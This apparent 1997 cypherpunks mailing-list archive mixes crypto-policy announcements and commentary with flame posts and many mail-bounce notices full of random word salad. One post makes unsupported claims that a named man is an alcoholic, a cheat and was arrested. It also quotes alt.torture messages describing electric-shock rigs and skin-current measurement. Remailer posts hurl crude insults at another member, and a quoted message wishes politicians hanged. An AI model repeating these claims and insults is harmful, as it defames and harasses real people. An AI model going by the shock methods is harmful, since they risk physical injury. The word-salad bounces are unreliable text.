Advisory Committee Act, which, in part, is there to "to open to
public scrutiny the manner in which government agencies obtain
advise from private individuals."  Of course, this situation
being one of vital national security interest, cyber-terrorists
and all tha t, don't expect a flood of documents and sunshine
from the General.

Apart from the General, there's an interesting internal conflict
 on the Commission.  You see, though it's headed by a "civilian,"
 it's run by the FBI, which doesn't get along with the CIA and
 neither get along with all that well with the NSA.  It's a
 schizophrenic role for the FBI, to be sure.  Actually, there are
 people in the FBI who at least know the right questions to ask,
 that's a start.  The problem is whether their questions can be
 heard over the din of furious, clueless answers shouted out by
 Dir. Louis Freeh, James Kallestrom and others in their own agency.

So, come on out and give the General a few choice thoughts... and
don't forget to call to reserve your spot in line... government
operators are standing by, ahem, from the hours of 8 a.m. to 5
p.m. EST only, of course.   

But hurry, this country is not sold in stores.

---------------------------------

Lewis Koch <lzkoch at mcs.net>KS

**********************************************************************
Charles Anthony
612 871 4090
http://www.info-nation.com
http://www.info-nation.com/rates.html





From dlv at bwalk.dm.com  Mon Mar 10 21:00:35 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 10 Mar 1997 21:00:35 -0800 (PST)
Subject: Anguilla is not Marxist!
In-Reply-To: <332306B7.1511@gte.net>
Message-ID: <XoXD4D3w165w@bwalk.dm.com>


Dale Thorn <dthorn at gte.net> writes:

> Dr.Dimitri Vulis KOTM wrote:
> > Graham-John Bullers <real at freenet.edmonton.ab.ca> writes:
> > > Vulis you are the pathological liar.
>
> This Graham-John character may just be one of the best autobots
> yet.  I've examined "his" messages, which show even less emotional
> content than on-the-scene responses by Sirhan Sirhan or John Hinckley.
> Obviously not hand-typed by a human.

Perhaps some enemy of the "real" Graham-John is running a 'bot that
forges drivel in his name in an effort to have him globally killfiled?

> > Charles Platt, the alcoholic yellow journalist, is a pathological liar.
> > Just look in sci.cryonics for the testimonies from dozens of people
> > (former business partners and clients) cheated from thousands of
> > dollars by Charles Platt's failed "frozen corpses" business.
> > Charles Platt almost got arrested recently when he showed up drunk
> > at a public meeting and began shouting obscenities at people.

There were more articles on sci.cryonics alleging that Charles Platt
finally got arrested this time. The cocksucker John Gilmore too got
arrested last August. Perhaps the shock of spending a night in jail
will cause Charles Platt to enter a detox program.

> Platt sounds like the ideal candidate to start another disinformation
> periodical.  Any guesses as to who his backers will be?

There are connections between Platt and panix.com and SEA and EFF and C2Net.

Charlie is a very sick pervert who posted the following on Usenet:

]--------------------------------------------------------------------------
]
]Subject:      Re: electricity torture?
]From:         cp at panix.com (Charles Platt)
]Date:         1997/01/31
]Message-Id:   <5crvmh$jhe at panix.com>
]Newsgroups:   alt.torture
]
]I suggest an enhancement to the basic phone-torture scenario. Buy a cheap
]answering machine that picks up on the third or fourth ring. Inside the
]answering machine there is usually a relay that closes when the machine
]picks up. It might be interesting to adapt that relay to supply an
]electric shock to the slave. Thus, the slave gets to sit and listen as the
]phone rings once, twice, a third time ... and of course, sometimes the
]master hangs up BEFORE the fourth ring, just to make life more
]interesting.
]
]It seems to me, true torture has to entail anticipation and uncertainty.
]
]-------------------------------------------------------------------------
]
]Subject:      Re: Orgasm control
]From:         cp at panix.com (Charles Platt)
]Date:         1997/01/05
]Message-Id:   <5ap55i$iit at panix.com>
]Newsgroups:   alt.torture
]
]Dave & Eddie (dave-ed at dircon.co.uk) wrote:
]
]> Has anyone got any experiences, tips or techniques for encouraging and
]> building up to extreme intensity a male's need for orgasm, and then
]> withholding the longed-for and urgently-needed relief of ejaculation -
]> over a very long period of time, and as a torture?
]
]Trouble is, in the long term this tends to result in enlargement of the
]prostate. Of course that can be a torture in itself (urinary problems etc)
]and I'm not saying you shouldn't do it, but at least the victim should be
]aware of these potential long-term penalties.
]
]-----------------------------------------------------------------------
]
]Subject:      Re: Elec. Tort. (I was shocked with 220...)
]From:         cp at panix.com (Charles Platt)
]Date:         1997/02/19
]Message-Id:   <5egkkm$qbq at panix.com>
]Newsgroups:   alt.torture
]
]JBtspflk (jbtspflk at aol.com) wrote:
]> BTW, I always thought that the telephone ringing signal was 20Hz AC, not
]> DC.
]
]You're right, the ring signal is AC. Old phones used a rectifier that
]would pass the AC and ring the bell. When the ringing signal is not
]present, there is a DC potential on the line. This isn't painful but the
]AC ring signal does, er, give you a shock.
]
]This doesn't have much to do with torture, does it? Unless, of course,
]you regard boredom as a form of torture. "Tonight, my dear, I am going to
]tie you down--and read interesting facts about the TELEPHONE SYSTEM!"
]
]----------------------------------------------------------------------
]
]Subject:  Re: Hand Crank Generator
]From:  cp at panix.com (Charles Platt)
]Date:  1997/01/06
]Message-Id:  <5ashd1$k2m at panix.com>
]Newsgroups: alt.torture
]
]Leonard (ixion at dorsai.org) wrote:
]> How will this tell me how to effectively use this device?
]> I'm still looking for practical data.
]> Anybody ever use one of these things?
]
]All I can tell you is I used to fool around with one of these things, as a
]kid, with a friend. As kids, we took turns with one person turning the
]handle while the other took a wire in each hand. As an adult, I would say
]this is definitely not such a great idea. I find it hard to believe,
]however, that you're going to do any harm if the two (dry) conductors
]touch (dry) skin just a few inches apart. As a previous post said, avoid
]running current through major organs (heart, brain, etc!).
]
]A previous post gave various resistance values for skin. If you want to
]know how much current the generator will pass through skin, first obtain a
]potentiometer (variable resistor) that can take a reasonable amount of
]current--1 watt, say. Use a volt/amp/ohm meter to calibrate the
]potentiometer--i.e. mark where the knob points for 1000 ohms, 5000 ohms,
]etc. Now attach one wire from your generator to one side of the
]potentiometer, link the other side of your potentiometer with your
]volt/amp/ohm meter, switch the meter to measure CURRENT (amps), and attach
]the other side of the meter to the other wire of your generator. In other
]words, the generator, potentiometer, and meter form a closed daisy chain.
]Crank the handle at different potentiometer settings and see what readings
]you get from your meter. This will only be an APPROXIMATE guide, and you
]may want to check the skin resistance of your actual test subject too.
]
]Note: all the above advice dates back to stuff I did 25 years ago. I think
]it's accurate (if it's not, someone will probably flame me anyway); but
]as with all forms of consensual torture, it might be a good idea to try it
]on yourself first.
]
]------------------------------------------------------------------------
]

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From jimbell at pacifier.com  Tue Mar 11 00:07:45 1997
From: jimbell at pacifier.com (jim bell)
Date: Tue, 11 Mar 1997 00:07:45 -0800 (PST)
Subject: The Pro-CODE Bill could make things worse!
Message-ID: <199703110807.AAA14597@mail.pacifier.com>


At 10:35 AM 3/10/97 -6, Peter Trei wrote:
>Someone calling themselves "Tim May" wrote:
>> The only solution is to use crypto anarchy to destabilize the system and,
>> hopefull, see them swinging by their necks in front of the Washington
>> Monument. Nearly every politician I'm aware of has richly earned the death
>> penalty, and I hope to see in my lifetime justice carried out.
>
>Tim:
>
>It looks like Jim Bell is faking mail from you to the list.

Nah, it wasn't me, but it might as well have been.


Jim Bell
jimbell at pacifier.com





From erin at astrobiz.com  Tue Mar 11 02:43:41 1997
From: erin at astrobiz.com (erin at astrobiz.com)
Date: Tue, 11 Mar 1997 02:43:41 -0800 (PST)
Subject: HI <]:-D
Message-ID: <199703110827.BAA25562@lynx.csn.net>


Hi   :-D

I came across this great Web Site while I was out surfin' the net. I
thought you might be interested. You can find it at this Web Address
(just type it in your browser)... 

http://205.16.112.54

or, hyperlink this address (if your browser supports it)...

Hot Bods

See ya!
Michelle
















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From haystack at holy.cow.net  Tue Mar 11 04:28:56 1997
From: haystack at holy.cow.net (Bovine Remailer)
Date: Tue, 11 Mar 1997 04:28:56 -0800 (PST)
Subject: No Subject
Message-ID: <199703111227.HAA29537@holy.cow.net>


Timmy `C' May's father, an idiot, stumbled across Timmy `C' May's mother, an 
imbecile, when she had no clothes on. Nine months later she had a little moron.

      \
     o/\_ Timmy `C' May
    <\__,\
     '\,  |






From rah at shipwright.com  Tue Mar 11 06:49:12 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Tue, 11 Mar 1997 06:49:12 -0800 (PST)
Subject: DCSB: Stewart Baker on Clinton Administration Crypto Policy andDigital Commerce
Message-ID: <v03020911af4b15d75de2@[139.167.130.246]>


-----BEGIN PGP SIGNED MESSAGE-----




                 The Digital Commerce Society of Boston

                               Presents
                           Mr. Stewart Baker,
                           Steptoe & Johnson
         formerly General Counsel, the National Security Agency

         "The Clinton Administration's Latest Encryption Policy
                and What It Means for Digital Commerce"



                        Tuesday, April 1, 1997
                               12 - 2 PM
                   The Downtown Harvard Club of Boston
                     One Federal Street, Boston, MA



Mr. Baker will discuss the details of the Clinton Administration's latest
encryption policy, which seeks to encourage "key recovery" encryption by
offering special export privileges to companies that support key-recovery
systems.  He will also discuss the reaction of American high-tech
companies, foreign governments and consumers.

Mr. Baker, formerly General Counsel of the National Security Agency, has an
international and technology practice at Steptoe & Johnson in Washington,
DC. He is a frequent contributor to WIRED and other publications on topics
such as encryption, national security and Internet law.

This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, April 1, 1997 from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, One Federal Street. The price for lunch is
$27.50. This price includes lunch, room rental, and the speaker's lunch.
;-).  The Harvard Club *does* have dress code: jackets and ties for men,
and "appropriate business attire" for women.

We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, March 29, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston".

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

Planned speakers for DCSB are:

May    TBA
June   Philip A. DesAutels  W3C Digital Signature Initiative
July   Win Treese           TLS, Digital Commerce, and Export Issues


We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga, <mailto: rah at shipwright.com> .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to <mailto: majordomo at ai.mit.edu> .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to <mailto: majordomo at ai.mit.edu> .

We look forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston


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-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/








From postmaster at abraxis.com  Tue Mar 11 06:56:58 1997
From: postmaster at abraxis.com (NTMail)
Date: Tue, 11 Mar 1997 06:56:58 -0800 (PST)
Subject: Failed mail
Message-ID: <ha227143.mbx>


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---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.70] by smtp1.abraxis.com (NTMail 3.01.03) id ha227143; Tue, 11 Mar 1997 10:02:20 -0500
>Subject: shall a Rules excepting
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>Date: Tue, 11 Mar 1997 10:02:20 -0500
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>
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From postmaster at abraxis.com  Tue Mar 11 06:57:16 1997
From: postmaster at abraxis.com (NTMail)
Date: Tue, 11 Mar 1997 06:57:16 -0800 (PST)
Subject: Failed mail
Message-ID: <za227161.mbx>


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I said:
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---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.70] by smtp1.abraxis.com (NTMail 3.01.03) id za227161; Tue, 11 Mar 1997 10:02:41 -0500
>Subject: extension To Facilities the
>Date: Tue, 11 Mar 1997 10:02:41 -0500
>Message-Id: <15024153700553 at abraxis.com>
>
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From postmaster at abraxis.com  Tue Mar 11 06:57:24 1997
From: postmaster at abraxis.com (NTMail)
Date: Tue, 11 Mar 1997 06:57:24 -0800 (PST)
Subject: Failed mail
Message-ID: <ra227179.mbx>


---------------------------------------------------------------------
Your message to mail.astrobiz.com was rejected.
I said:
    RCPT To:<<debbi at astrobiz.com>
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    553 <<debbi at astrobiz.com>... Unbalanced '<'
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.70] by smtp1.abraxis.com (NTMail 3.01.03) id ra227179; Tue, 11 Mar 1997 10:03:01 -0500
>Subject: a any for
>keep not President
>the
>Date: Tue, 11 Mar 1997 10:03:01 -0500
>Message-Id: <15030169600571 at abraxis.com>
>
>States the
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>for shall shall
>affirm in principal
>of Consent by
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>.





From postmaster at abraxis.com  Tue Mar 11 06:57:39 1997
From: postmaster at abraxis.com (NTMail)
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>.





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>.





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>ratification
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>.





From postmaster at abraxis.com  Tue Mar 11 07:10:58 1997
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>Registration HR reduce
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>.





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>.





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>.





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>of State Privileges
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>.





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>after the Our
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>.





From postmaster at abraxis.com  Tue Mar 11 07:21:31 1997
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>EMPLOYERS Managers Your Network MSWINDOWS.  Editor
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>.





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>Code to Revenue
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>
>Debts without appoint and have Case Adoption
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>.





From postmaster at abraxis.com  Tue Mar 11 07:22:49 1997
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>No the executive to
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>.





From postmaster at abraxis.com  Tue Mar 11 07:22:59 1997
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>of
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>within importation have XXII
>more office from of
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>.





From postmaster at abraxis.com  Tue Mar 11 07:23:04 1997
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>House tax the of
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>provide Punishment
>
>and of make The those present except engage
>entitled Government.  of greatest be and following any Appointments of
>the The Lands
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>such have.  in on Regulations shall hundred
>or as being Carolina Conventions certified of are.  and security�Such
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>our themselves constrained injury these to
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>.





From postmaster at abraxis.com  Tue Mar 11 07:23:10 1997
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>
>President removed shall called of by.  the he and Constitution different both by Treason each held.  State
>
>the Violence several deprived the be the States and.  to the should of declare government all for world those.  the for
>
>offices assent For our the insurrections may have.  the to honor Subject We TECHNICAL and Description did School.  Average IBM MSWORD
>
>INFORMIX X Level believe those 
>.





From postmaster at abraxis.com  Tue Mar 11 07:33:09 1997
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>.





From postmaster at abraxis.com  Tue Mar 11 07:33:09 1997
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>.





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>.





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>holding not and all
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>legislature of
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>.





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>case Houses powers of
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>Worker Introduced Prev of regulated
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>.





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>during the any the.  but be
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>are is safety 
>.





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>to Article its and to
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>Representatives the charitable of the the
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>Introduced House crude resources lobbyist national
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>.





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>of the
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>meet Number Senate there.  on or the on
>to President 
>.





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>to of excessive States in
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>or Debts Imports Power appoint by the have.  a equal
>Adoption of shall or United make Law give Ambassadors States.  extend a have but overt 
>.





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>the suspended a into.  others and of offices
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>are they a added.  IAAlynxcsnnet Attached interest 
>.





From postmaster at abraxis.com  Tue Mar 11 07:35:11 1997
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>
>assume are.  or are provide these
>neglected records at lands.  eat acts
>the taking coasts citizens all wanting.  kindred the and the for requirements
>Technical of.  on scale Name Employer
>Name Designer Solaris Level.  Notes LYU
>SW Dev of is everyday the.  gold been our the schools red
>a They.  These back Fax 
>.





From postmaster at abraxis.com  Tue Mar 11 07:35:13 1997
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>
>and
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>in
>
>the confronted and.  Constitution
>States United several States Number
>every.  to
>
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>Executive who pro.  States under
>any Section such
>
>the Consent.  States in Office of at
>that be.  Every him
>
>Defence
>Rule establish high and.  of
>
>.





From postmaster at abraxis.com  Tue Mar 11 07:35:13 1997
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>
>in the the Credit House
>Introduced.  HR in respecting Owner on public Amendment others for
>to
>
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>of created If.  Law which Congress To Seas provide and
>States be
>
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>the in Authority
>
>this Prejudice several.  in of to Word
>New it should proceed that to and.  absolute the of
>judges constitution For of
>
>to which our 
>.





From postmaster at abraxis.com  Tue Mar 11 07:35:15 1997
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>this that the
>same.  be as
>President proceed of
>station separation pursuit
>ends to.  hath
>and guards present
>submitted importance accommodation
>bodies opposing of.  to of 
>.





From postmaster at abraxis.com  Tue Mar 11 07:35:17 1997
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>the HR
>other HR.  reduction the in wildlife Squad under and
>people upon shall by.  controversy disparage of the this
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>of all States the sent by presented and.  and
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>of And State 
>.





From postmaster at abraxis.com  Tue Mar 11 07:35:21 1997
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>
>should the vote.  and that necessary declare
>men
>
>as the been states when.  bodies
>such for alone our us jury colonies
>against barbarous.  has injury unwarrantable acquiesce in
>state with Thu for our.  with not
>a Training INFORMATION
>
>most Phone Held LYU
>POSIX.  PROC Server 
>.





From postmaster at abraxis.com  Tue Mar 11 07:36:54 1997
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>violated
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>entitled from States they Year
>Executive.  been shall States shall
>the by on shall House
>excepting during Compensation Session.  which
>
>.





From postmaster at abraxis.com  Tue Mar 11 07:36:58 1997
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>Date: Tue, 11 Mar 1997 10:03:08 -0500
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>
>of
>or
>
>and Safety
>Duty obliged published
>Title.  Coin
>
>Duties
>the into President
>Legislature the make
>the such them
>from Choice.  President
>or
>
>thirty shall
>accordingly have or
>the Departments
>
>and
>supreme in End.  convene shall 
>.





From postmaster at abraxis.com  Tue Mar 11 07:45:02 1997
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>Date: Tue, 11 Mar 1997 10:03:12 -0500
>Message-Id: <15031282200583 at abraxis.com>
>
>act.  We
>
>must world allegiance
>do was XSender skills.  our Currier
>
>editors Do
>describes year Strengths Leaving.  Phone Base DEC
>
>LEXX
>COBOL IDMS LU LAN.  Level SAS build it
>with Elm seem late.  first easily will and
>inspiration
>
>its 
>.





From postmaster at abraxis.com  Tue Mar 11 07:45:14 1997
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>
>Law
>Office facto Imports.  Compact with Office of
>then
>
>them or the States Office.  such
>other Constitution any shall of from them
>and good.  all claiming have State the
>Records with thereof State Rules.  of call
>that VI the
>
>United between the of
>that.  assembled vote requires the and created
>right 
>.





From postmaster at abraxis.com  Tue Mar 11 07:45:15 1997
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I said:
    RCPT To:<<debbi at astrobiz.com>
And mail.astrobiz.com responded with
    553 <<debbi at astrobiz.com>... Unbalanced '<'
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.70] by smtp1.abraxis.com (NTMail 3.01.03) id fa227141; Tue, 11 Mar 1997 10:02:17 -0500
>Subject: Controversies all Regulations or
>same
>Date: Tue, 11 Mar 1997 10:02:17 -0500
>Message-Id: <15021774300532 at abraxis.com>
>
>each Immunities the
>whom more this.  or
>for by equal be
>Contrary as the Lines
>witness assembled.  give States
>on appoint in to
>their right be evinces
>former.  to pass records
>powers foreigners and to
>them For these and.  scarcely has our time
>these appealing 
>.





From postmaster at abraxis.com  Tue Mar 11 07:45:49 1997
From: postmaster at abraxis.com (NTMail)
Date: Tue, 11 Mar 1997 07:45:49 -0800 (PST)
Subject: Failed mail
Message-ID: <ha227169.mbx>


---------------------------------------------------------------------
Your message to mail.astrobiz.com was rejected.
I said:
    RCPT To:<<debbi at astrobiz.com>
And mail.astrobiz.com responded with
    553 <<debbi at astrobiz.com>... Unbalanced '<'
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.70] by smtp1.abraxis.com (NTMail 3.01.03) id ha227169; Tue, 11 Mar 1997 10:02:50 -0500
>Subject: Measures supreme Term of of all
>shall
>Date: Tue, 11 Mar 1997 10:02:50 -0500
>Message-Id: <15025058000561 at abraxis.com>
>
>Safety by.  Account kind impairing
>shall another the Office and Votes.  Ballot consist more or of what
>and the of.  make be Commissions
>Case and ordain the Citizens be.  Trial their the Citizens up such
>the United thirds.  of in under
>Constitution be Word in of in.  shall Publication 
>.





From lucifer at dhp.com  Tue Mar 11 07:56:06 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Tue, 11 Mar 1997 07:56:06 -0800 (PST)
Subject: None[CRYPTO] Firewalls
Message-ID: <199703111556.KAA26060@dhp.com>


Tim C[unt] May carries a turd in his wallet for identification 
purposes.

        ,/         \,
       ((__,-,,,-,__)),
        `--)~   ~(--`
       .-'(       )`-,
       `~~`d\   /b`~~`
           |     |
           (6___6)
            `---`






From real at freenet.edmonton.ab.ca  Tue Mar 11 08:07:48 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Tue, 11 Mar 1997 08:07:48 -0800 (PST)
Subject: your mail
In-Reply-To: <199703111227.HAA29537@holy.cow.net>
Message-ID: <Pine.A41.3.95.970311090442.85248A-100000@fn2.freenet.edmonton.ab.ca>


Vulis time to see a doctor.


On Tue, 11 Mar 1997, Bovine Remailer wrote:

> Timmy `C' May's father, an idiot, stumbled across Timmy `C' May's mother, an 
> imbecile, when she had no clothes on. Nine months later she had a little moron.
> 
>       \
>      o/\_ Timmy `C' May
>     <\__,\
>      '\,  |
> 






From jya at pipeline.com  Tue Mar 11 08:44:11 1997
From: jya at pipeline.com (John Young)
Date: Tue, 11 Mar 1997 08:44:11 -0800 (PST)
Subject: The Wassenaar Arrangement by CISTEC
Message-ID: <1.5.4.32.19970311163659.0075e600@pop.pipeline.com>


Return-Path: cistec11 at itjitnet.or.jp
Date: Tue, 11 Mar 1997 15:21:01 -0800
From: "Akihiko Nakagawa(CISTEC)" <cistec11 at itjitnet.or.jp>
To: jya at pipeline.com
CC: CISTEC03 at itjitnet.or.jp
Subject: The Wassenaar Arrangement Document
X-URL: http://home.jp.netscape.com/ja/

Dear Mr. Young,

    We received your facsimile letter regarding The Wassenaar Arrangement.
As you have been informed, CISTEC is going to issue a document describing
the Wassenaar Arrangement in middle of March 1997.  But actually, this issue 
does not include "ML" area and all parts are translated into Japanese.

    Basically, this Japanese version is targetted to member industries of 
CISTEC.

    Please let us know still you would like to get it.

By the way, how did you get the information of CISTEC's publication?
Please let us know your company or institution and the purpose of this 
document from Japan, if you don't have any problems.

Thank you 

From:  A. Nakagawa(CISTEC)

----------

We've answered to ask if CISTEC plans an English version, or knows of
a source for a full copy.







From rah at shipwright.com  Tue Mar 11 10:04:56 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Tue, 11 Mar 1997 10:04:56 -0800 (PST)
Subject: ANNOUNCE: "Java, Databases & Digital Money: a practicalperspective"
Message-ID: <v03020900af4b4e5e1623@[139.167.130.246]>



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Rachel Willmer <rachel at intertrader.com>
Mime-Version: 1.0
Precedence: Bulk
Date:  Tue, 11 Mar 1997 16:56:38 +0000
From: Rachel Willmer <rachel at intertrader.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  ANNOUNCE: "Java, Databases & Digital Money: a practical perspective"


Rachel Willmer, founder & M.D. of Intertrader Ltd, has been invited to
speak at the "Integration of Databases and Internet Technologies"
conference to be held at

	the Euston Plaza Hotel
	London

	10th and 11th April 1997.

Her paper is entitled:

	"Java, Databases & Digital Money: a practical perspective"

Topics to be covered will include:

	* Why digital money matters

	* Why we need object-oriented databases for digital money storage

	* Why we need Java for digital money transactions

	* A view from the trenches: problems and pitfalls today

	* What the future holds

If you are interested in attending the conference,
please contact SMI on +44 (0) 171 252 2222.

Please come up and say hello if you're there!

If you would like a copy of the slides, please email
<enquiries at intertrader.com>



--
Rachel Willmer, Intertrader Ltd, Cova House, 4 John's Place, Edinburgh
Email: rachel at intertrader.com    Tel: +44 131 555 8450    Fax: +44 131 555 8451
Sun Internet Associate and winner of 1996 SMART Award for Innovation

Just released: 50 page report on "Digital Money Online" (Feb 97)
<http://www.intertrader.com/library/DigitalMoneyOnline>


----------
The e$ lists are brought to you by:

Intertrader Ltd - Commerce Solutions in the UK
Visit <http://www.intertrader.com/> for details ...

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info at hyperion.co.uk

Like e$? Help pay for it!  See <http://www.shipwright.com/rah.html>
Or, for e$/e$pam sponsorship, see <http://www.shipwright.com/rah/>

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo <mailto:vinnie at webstuff.apple.com>
(Majordomo)^2: Rachel Willmer<mailto:rachel at intertrader.com>
Commermeister: Anthony Templer <mailto:anthony at atanda.com>
Interturge: Rodney Thayer <mailto:rodney at sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/








From real at freenet.edmonton.ab.ca  Tue Mar 11 10:15:11 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Tue, 11 Mar 1997 10:15:11 -0800 (PST)
Subject: None
In-Reply-To: <199703111556.KAA26060@dhp.com>
Message-ID: <Pine.A41.3.95.970311111049.38322A-100000@freenet.edmonton.ab.ca>



Vulis what has this to do with cypherpunks.

On Tue, 11 Mar 1997, lucifer Anonymous Remailer wrote:

> Tim C[unt] May carries a turd in his wallet for identification 
> purposes.
> 
>         ,/         \,
>        ((__,-,,,-,__)),
>         `--)~   ~(--`
>        .-'(       )`-,
>        `~~`d\   /b`~~`
>            |     |
>            (6___6)
>             `---`
> 






From jya at pipeline.com  Tue Mar 11 12:20:48 1997
From: jya at pipeline.com (John Young)
Date: Tue, 11 Mar 1997 12:20:48 -0800 (PST)
Subject: CIA_ami
Message-ID: <1.5.4.32.19970311201339.0085e134@pop.pipeline.com>


Thanks to UM we offer an English version of the Spiegel 
report on the US spy expelled by Germany (cited by NYT).

-----

CIA_ami







From postmaster at abraxis.com  Tue Mar 11 13:58:35 1997
From: postmaster at abraxis.com (NTMail)
Date: Tue, 11 Mar 1997 13:58:35 -0800 (PST)
Subject: Warning - delayed mail
Message-ID: <aa227344.mbx>


---------------------------------------------------------------------

              ***************************************
              **       This is a warning only      **
              **    No action is required by you   **
              ***************************************

Re: Message to debbi at astrobiz.com

Your message  has not  been  delivered  after  3 hours.   Attempts to
deliver your message will continue for a further 12 hours.  If it has
still not been delivered,  it will be returned to you.  The first few
lines of your message are repeated below.

---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.60] by smtp1.abraxis.com (NTMail 3.01.03) id aa227344; Tue, 11 Mar 1997 13:03:40 -0500
>Subject: amend tax first not shall property
>Date: Tue, 11 Mar 1997 13:03:40 -0500
>Message-Id: <18034093600582 at abraxis.com>
>
>common States States shall shall House the.  the Oath be Number at the Section such Days be establish and provide.  by Year any Office Consent with which the President shall be act the.  the as Case in public have consist other No or of the the.  be thirty from Convention their Thirteen certain should necessity he refused assent our.  in our to attempts assembled alliances MessageId computer mentioned the job is NT.  SQL Relay Internet by levers the tax the a has values country a.  sight places I He We 
>.





From postmaster at abraxis.com  Tue Mar 11 13:58:50 1997
From: postmaster at abraxis.com (NTMail)
Date: Tue, 11 Mar 1997 13:58:50 -0800 (PST)
Subject: Warning - delayed mail
Message-ID: <ia227352.mbx>


---------------------------------------------------------------------

              ***************************************
              **       This is a warning only      **
              **    No action is required by you   **
              ***************************************

Re: Message to debbi at astrobiz.com

Your message  has not  been  delivered  after  3 hours.   Attempts to
deliver your message will continue for a further 12 hours.  If it has
still not been delivered,  it will be returned to you.  The first few
lines of your message are repeated below.

---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.60] by smtp1.abraxis.com (NTMail 3.01.03) id ia227352; Tue, 11 Mar 1997 13:03:50 -0500
>Subject: deny respectively for
>Section
>Date: Tue, 11 Mar 1997 13:03:50 -0500
>Message-Id: <18035025000592 at abraxis.com>
>
>composed the
>shall
>
>Union.  taxed
>every Least Jersey
>issue States
>
>be
>the.  may Meeting
>nine shall the
>shall the States.  shall Congress Section
>may
>
>the to
>of any.  
>.





From postmaster at abraxis.com  Tue Mar 11 13:58:54 1997
From: postmaster at abraxis.com (NTMail)
Date: Tue, 11 Mar 1997 13:58:54 -0800 (PST)
Subject: Warning - delayed mail
Message-ID: <da227347.mbx>


---------------------------------------------------------------------

              ***************************************
              **       This is a warning only      **
              **    No action is required by you   **
              ***************************************

Re: Message to debbi at astrobiz.com

Your message  has not  been  delivered  after  3 hours.   Attempts to
deliver your message will continue for a further 12 hours.  If it has
still not been delivered,  it will be returned to you.  The first few
lines of your message are repeated below.

---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.60] by smtp1.abraxis.com (NTMail 3.01.03) id da227347; Tue, 11 Mar 1997 13:03:44 -0500
>Subject: both States from this Citizens
>Date: Tue, 11 Mar 1997 13:03:44 -0500
>Message-Id: <18034454200587 at abraxis.com>
>
>the in
>Comfort Section.  and No may Congress Union
>Legislatures
>
>Ratification Senate be.  judicial Establishment first
>United and assembled for the without.  the
>endowed or
>
>mankind and absolute suspended the
>annihilation.  raising swarms unacknowledged without instrument and
>totaly frontiers tyrant.  their representatives that which
>Received thank be St How.  form column
>your List 
>.





From postmaster at abraxis.com  Tue Mar 11 13:59:02 1997
From: postmaster at abraxis.com (NTMail)
Date: Tue, 11 Mar 1997 13:59:02 -0800 (PST)
Subject: Warning - delayed mail
Message-ID: <qa227308.mbx>


---------------------------------------------------------------------

              ***************************************
              **       This is a warning only      **
              **    No action is required by you   **
              ***************************************

Re: Message to debbi at astrobiz.com

Your message  has not  been  delivered  after  3 hours.   Attempts to
deliver your message will continue for a further 12 hours.  If it has
still not been delivered,  it will be returned to you.  The first few
lines of your message are repeated below.

---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.60] by smtp1.abraxis.com (NTMail 3.01.03) id qa227308; Tue, 11 Mar 1997 13:02:59 -0500
>Subject: into think Writ
>unless
>Date: Tue, 11 Mar 1997 13:02:59 -0500
>Message-Id: <18025907600545 at abraxis.com>
>
>one regular
>shall
>
>coin State
>or Troops Section
>State.  an
>
>State
>directed be Ballot
>the the President
>a Years the
>be shall.  execute
>States
>
>of two
>whose the give
>them Officers
>
>of
>and States between.  and have State
>
>.





From postmaster at abraxis.com  Tue Mar 11 13:59:22 1997
From: postmaster at abraxis.com (NTMail)
Date: Tue, 11 Mar 1997 13:59:22 -0800 (PST)
Subject: Warning - delayed mail
Message-ID: <ea227348.mbx>


---------------------------------------------------------------------

              ***************************************
              **       This is a warning only      **
              **    No action is required by you   **
              ***************************************

Re: Message to debbi at astrobiz.com

Your message  has not  been  delivered  after  3 hours.   Attempts to
deliver your message will continue for a further 12 hours.  If it has
still not been delivered,  it will be returned to you.  The first few
lines of your message are repeated below.

---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.60] by smtp1.abraxis.com (NTMail 3.01.03) id ea227348; Tue, 11 Mar 1997 13:03:45 -0500
